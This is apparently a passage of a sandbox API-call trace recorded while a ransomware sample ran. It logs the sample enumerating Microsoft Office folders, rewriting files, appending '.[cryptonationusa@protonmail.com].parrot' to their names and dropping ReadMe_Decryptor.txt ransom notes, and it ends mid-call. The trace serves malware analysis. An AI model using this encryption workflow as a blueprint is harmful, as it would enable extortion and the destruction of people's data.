1 [0178.609] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.611] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.611] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d54, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d54, lpOverlapped=0x0) returned 1 [0178.612] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.619] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.620] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.621] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.621] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e39, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3e39, lpOverlapped=0x0) returned 1 [0178.622] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.629] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.630] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.631] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46ec, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x46ec, lpOverlapped=0x0) returned 1 [0178.656] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.657] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4804, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.657] CloseHandle (hObject=0x284) returned 1 [0178.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0178.665] GetFileType (hFile=0x284) returned 0x1 [0178.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0178.676] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9F.GIF", cAlternateFileName="")) returned 0 [0178.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c98 [0178.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0178.676] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0178.726] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0178.727] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf6839720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf6839720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.728] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53656a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPERS.INI.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PAPERS~1.PAR")) returned 1 [0178.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0178.728] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68de88 | out: hHeap=0x5b0000) returned 1 [0178.729] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0178.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0178.730] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87ce900, ftCreationTime.dwHighDateTime=0x1ca9b87, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc87ce900, ftLastWriteTime.dwHighDateTime=0x1ca9b87, nFileSizeHigh=0x0, nFileSizeLow=0x29d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0178.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0178.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.730] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a898, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.731] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.731] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0178.732] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.732] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a780, lpOverlapped=0x0) returned 1 [0178.734] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0178.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.734] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0178.734] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0178.734] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0178.734] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0178.734] GetLastError () returned 0x0 [0178.738] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.738] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0178.738] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0178.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.738] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0178.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.738] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0178.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0178.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0178.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0178.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0178.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x228c050 [0178.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x228efe8 [0178.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228c050 | out: hHeap=0x5b0000) returned 1 [0178.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2293738 [0178.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228efe8 | out: hHeap=0x5b0000) returned 1 [0178.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22b2058 [0178.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293738 | out: hHeap=0x5b0000) returned 1 [0178.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x228c050 [0178.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2058 | out: hHeap=0x5b0000) returned 1 [0178.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3198458 [0178.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228c050 | out: hHeap=0x5b0000) returned 1 [0178.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x22d8068 [0178.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0178.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x31f84d8 [0178.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0178.745] WriteFile (in: hFile=0x284, lpBuffer=0x31f84e0*, nNumberOfBytesToWrite=0x2a8a8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f84e0*, lpNumberOfBytesWritten=0x18eed4*=0x2a8a8, lpOverlapped=0x0) returned 1 [0178.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f84d8 | out: hHeap=0x5b0000) returned 1 [0178.752] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a898, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.752] CloseHandle (hObject=0x284) returned 1 [0178.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0178.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22d3298 [0178.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0178.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3298 | out: hHeap=0x5b0000) returned 1 [0178.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b8498 | out: hHeap=0x5b0000) returned 1 [0178.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0178.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0178.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0178.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0178.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0178.759] GetFileType (hFile=0x284) returned 0x1 [0178.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0178.769] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0178.774] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0178.774] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.775] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0178.775] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0178.775] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95af5900, ftCreationTime.dwHighDateTime=0x1c7e846, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95af5900, ftLastWriteTime.dwHighDateTime=0x1c7e846, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="CLASSI~1.DOT")) returned 1 [0178.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0178.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.776] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x249f, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.776] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.776] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.777] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.777] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2387, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2387, lpOverlapped=0x0) returned 1 [0178.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0178.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0178.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0178.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0178.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0178.778] GetLastError () returned 0x0 [0178.779] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 